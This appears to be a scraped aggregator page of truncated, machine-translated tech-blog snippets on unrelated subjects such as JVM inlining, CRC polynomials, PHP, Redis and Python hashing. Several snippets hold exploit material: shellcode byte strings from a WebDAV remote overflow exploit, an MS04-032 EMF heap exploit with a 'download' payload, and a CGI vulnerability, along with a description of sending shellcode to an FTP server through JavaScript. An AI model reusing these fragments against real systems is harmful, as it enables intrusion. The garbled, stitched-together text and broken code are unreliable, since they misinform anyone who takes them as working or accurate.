nighthawk x10

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Cross-Protocol Communication Technology Utilization

data connection channel. we set up the server (192.168.1.10) in the virtual machine to create the "anonymous" user. the prerequisite for successful exploitation of this vulnerability is to log on to the FTP server first. Because there is no need to duplicate the wheel, here we use a public vulnerability exploitation code (refer to [1]) to construct a POST request. this time, we use javascript to send shellcode to the FTP server. to successfully send shellcode, we use the sendAsBinary function.

In-depth understanding of Java Virtual Machine (14th) correct use of JVM inline

, x4, ... more ..., x15, x16) + add16(x17, x18, x19, x20, ... more ..., x31, x32); } private int add16(int x1, int x2, int x3, int x4, ... more ..., int x15, int x16) { return add8(x1, x2, x3, x4, x5, x6, x7, x8) + add8(x9, x10, x11, x12, x13, x14, x15, x16); } private int add8(int x1, int x2, int x3, int x4, int x5, int x6, int x7, int x8) { return add4(x1, x2, x3, x4) + add4(x5, x6, x7, x8); } private int add4(int x1, int x2, i

Python tutorial Network Security

\xd8V!\x8e\x00\x01\xcc\xa7\xc3S\x00\x00\x00\x00\xa2K\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%\'()*+,-./01234567'>>> recon=Ether(icmp_str) Refactored data packets from str >>> recon Export readable base64 objects >>> newPkt=import_object()eNprYApNCgphEDJl4mBQ35N3hoPBlYEhhIHBgcGB8cQZLgZm/jtbOyQ4GG6EKfYxMJ5ZfjiYAQgWefOCKAYBQSFhEVExcQlJKWkZWTl5BUUlZRVVNXUNTS1tHV09fQNDI2MTUzPzQkY9AMQIFOY= After the input

Cross-Protocol Communication Technology exploitation and defense

data connection channel. we set up the server (192.168.1.10) in the virtual machine to create the "anonymous" user. the prerequisite for successful exploitation of this vulnerability is to log on to the FTP server first. Because there is no need to duplicate the wheel, here we use a public vulnerability exploitation code (refer to [1]) to construct a POST request. this time, we use javascript to send shellcode to the FTP server. to successfully send the shellcode, we use the sendAsBinary functi

PHP parsing JSON Data Two example methods _php tutorial

]);} $returnValue = ' ['. $s. ']';}Else{foreach ($arg as $i = $v){if (strlen ($s) > 0){$s. = ', ';}$s. = $this->encode ($i). ':' . $this->encode ($arg [$i]);} $returnValue = ' {'. $s. '}';}Break Case ' object ':foreach (Get_object_vars ($arg) as $i = $v){$v = $this->encode ($v); if (strlen ($s) > 0){$s. = ', ';}$s. = $this->encode ($i). ':' . $v;} $returnValue = ' {'. $s. '}';Break Case ' integer ':Case ' Double ':$returnValue = Is_numeric ($arg)? (string) $arg: ' null ';Break Case ' string ':$r

Base of target detection hessian matrix---haisen matrices

Is the sea race (sea color) matrix, search on the internet has.In mathematics, a sea-color matrix is a square matrix of second-order partial derivatives of an independent variable as a real-valued function of a vector.Hessian matrices are second-order partial derivative matrices of multidimensional variable functions, H (I,J) =d^2 (f)/(d (XI) d (XJ))1. Definitions of extreme values (maxima or minima)There is a function defined on the area D RN y=f (x) =f (x1,..., xn). For an inner point of regi

Nmap memo form: From Discovery to vulnerability exploitation (Part 4)

| \ x10 | Probe tcp null q | The probe command tells nmap to send a specified string to identify the service. The parameters are as follows: This must be TCP or UDP. NMAP only uses a probe that matches the Protocol it tries to scan the service. This is a pure English name. Tell Nmap what to send. It must have a q, marking the start and end of the string with a separator. It allows the following standard escape characters of C or Perl strings: \, \ a,

Interesting question: there is a possible interval distribution of 1

If 10 non-negative values are x1, x2 ,..., x10 meets the requirements of X1 + X2 + X3 +... + x10 = 1, are the 10 numbers evenly distributed between [0, 1? Apparently not. To illustrate this, the best way is to limit the distribution -- we can divide the [0, 1] range into several cells, it also shows that these 10 numbers cannot be evenly distributed in these intervals. For example, divide [0.25] into four s

CRC Test Principle

= X16 + X12 + X5 + 1 CRC16 = X16 + X15 + X5 + 1 CRC12 = X12 + X11 + X3 + X2 + 1 CRC32 = X32 + X26 + X23 + X22 + X16 + X12 + X11 + X10 + X8 + X7 + X5 + X4 + X2 + X1 + 1 Each generated polynomial can correspond to a code, for example, CRC8 code: 100110001. Iii. CRC verification code calculation If the information field is set to K-bit and the verification field is R-bit, the codeword length is N (N = K + R ). If both parties agree on an R polynomial g

[Practice] WebDAV Remote Overflow Vulnerability Analysis

# Tested on Win2k SP3 Chinese Version Use IO: socket;If ($ # argv $ Host = @ argv [0];$ Port = 80; $ Ret = "% u00d7 % u00d7" X 500;$ Buf = "A" x 64502;$ JMP = "bbbbbbbbbbbbqq"; # QQ = "/x71/x71" means jno xxxx$ NOP = "/x90" x 40000;$ SC ="/X90/xeb/x03/x5d/xeb/x05/xe8/xf8/xFF/x83/xc5/x15/x90/x90 "."/X90/x8b/xc5/x33/xc9/x66/xb9/x10/x03/x50/X80/x30/x97/X40/xe2/xfa "."/X7e/x8e/x95/x97/x97/XCD/x1c/x4d/x14/x7c/x90/XFD/x68/xc4/xf3/x36 "."/X97/x97/x97/x97/xc7

IT company interview questions collected and sorted-C-related algorithms (targeted for 10 times, for 90, how many algorithms, difficult to death)

I saw an interview question today. It generally means that a person scored 90 targets for 10 times and scored 0-10. How many combinations are there? The program is very complex, so I will not post it, because this value is very special, it is 100 in all, only hit 90, so 10 are not in the middle. The results are the same. If a total of 90 hits is the same as a total of 10 hits, the number of results should be the same. Then, we can calculate that the total number cannot be reached.First case: the

Example 1 of parameter hypothesis test under 0-1 Population Distribution

. Quantitative Analysis Determine the statistic of the test The applicant answers 10 questions, which is equivalent to 10 samples: X1, X2 ,......, X10 We cannot use statistics for testing, because we do not know the distribution form (we only know its mean and variance) However, we fully understand the statistic Y = x1 + x2 + ...... + The distribution of x10, that is, the binary distribution B (10, p), and

Ajax calling in Oracle Application Express (APEX 4.2)

Ajax calling in Oracle Application Express (APEX 4.2) Oracle Application Express 4.2 (APEX 4.2) is a quick Web Application development tool. Ajax requests are sometimes used during web page development. How to create an ajax request: 1. Create background processing: Step 1 Step 2 Step 3 In this way, the background processing is completed. 2. Compile js on the frontend: Function ajaxTest (){Apex. server. process ('test', // name of the background processing, case sensitive{}, // Parameters to

Sparse PCA: reproduction of the synthetic example

The paper: Hui Zou, Trevor Hastie, and Robert tibshirani, Sparse principal component analysis, Journal of computational and graphical statistics, 15 (2): 265-286,200 6. Reproduction of the synthetic example in section 5.2 using R programming: 1 library(elasticnet) 2 3 ## sample version of SPCA 4 n = 1000 5 v1 = rnorm(n,0,sqrt(290)) 6 v2 = rnorm(n,0,sqrt(300)) 7 v3 = -.3*v1 + 0.925*v2 + rnorm(n) 8 x1 = v1 + rnorm(n) 9 x2 = v1 + rnorm(n)10 x3 = v1 + rnorm(n)11 x4 = v1 + rnorm(n)12 13 x5 = v2 +

[Expl] (MS04-032) Microsoft Windows XP Metafile (. EMF) Heap

/xd5/xD3/x4a/x8c/x88 "; Unsigned char download_ SC [] = "/X90/x90/x90/x90/x90/x90/x90/x90" "/Xeb/x0f/x58/X80/x30/x17/X40/x81/x38/x6d/x30/x30/X21/x75/xf4" "/Xeb/x05/xe8/xec/xFF/xfe/x94/x16/x17/x17/x4a/x42/X26" "/Xcc/x73/x9c/x14/x57/x84/x9c/x54/xe8/x57/x62/xee/x9c/x44/x14" "/X71/X26/xc5/x71/xaf/x17/x07/x71/x96/x2d/x5a/x4d/x63/x10/x3e" "/Xd5/xfe/xe5/xe8/xe8/xe8/x9e/xc4/x9c/x6d/x2b/x16/xc0/x14/x48" "/X6f/x9c/x5c/x0f/x9c/x64/x37/x9c/x6c/x33/x16/xc1/x16/

Chapter II Important data structures in Python (ii.)

Phone number (p) or address (a)? P4 Alice ' s phone number is 2341.Method1, Clear () method: Empty The dictionary all items, in-situ operation.1 >>> x = {} 2 >>> y = x #并不是简单的赋值, this can be understood as X, y together pointing to a dictionary 3 >>> x[' key ']= ' value ' 4 >>> x 5 {' key ': ' Value '} 6 >>> y 7 {' key ': ' Value '} 8 >>> x = {} 9 >>> x10 {}11 >>> y12 {' Key ': ' Value '}1 >>> x = {} 2 >>> y = x 3 >>> x[' key ' = ' value ' 4 >>> x 5 {

Python3 Hashlib Module (encryption)

MD5 Encryption algorithm? 1234567891011121314 import hashlib""" MD5加密 """hash_md5 = hashlib.md5()hash_md5.update(b"hello")#b 表示byte类型hash_md5.update(b"world")print(hash_md5.hexdigest())""" 十六进制MD5加密结果"""print(hash_md5.digest())""" 二进制MD5加密结果 """""" 分几次update的参数加密结果和拼接一起加密结果一样"""hashmd5 = hashlib.md5()hashmd5.update(b"helloworld")print(hashmd5.hexdigest())print(hashmd5.digest()) Operation Result:? 1234 fc5e038d38a57032085441e7fe7010b0 --十六进制b‘\xfc^\x0

CGI Vulnerability Collection _ Web surfing

\x90\x90\x90\x90""\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30""\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56""\X04\X8D\X56\X31\X89\X56\X08\X8D\X56\X3A\X89\X56\X0C\X8D\X56\X10""\X89\X46\X10\XB0\X0B\XCD\X80\X31\XDB\X89\XD8\X40\XCD\X80\XE8\XBF""\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff""\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff""/usr/x11r6/bin/x

Redis Paging Sort Query

members, to meet the requirements of the deletion of comments, so, SortedSet is most suitable here (time complexity O (log (N))). So, the data types I need to use are sortset and hash,sortset for paging, and hash is used to store specific key-value pairs of data, and I've drawn the following chart: In the sortset structure of the diagram above, the topicid of each topic is used as the key of the set, and the CreateDate and Commentid of the comments associated with the subject are respectively

Serial Communication Protocol _ serial communication

verify the data sent this, in the receiver we use the data received by using "mode two division" divided by the use of polynomial, if the remainder of 0 indicates that there is no error in the transmission process, if not 0 indicates that there are errors in the transmission. Step1: Confirm the use of polynomials, usually we will adopt a fixed polynomial, common several kinds of generating polynomials such as: Crc8=x8+x5+x4+x0 Crc-ccitt=x16+x12+x5+x0 Crc16=x16+x15+x2+x0 Crc12=x12+x11+x3+x2+x0 A

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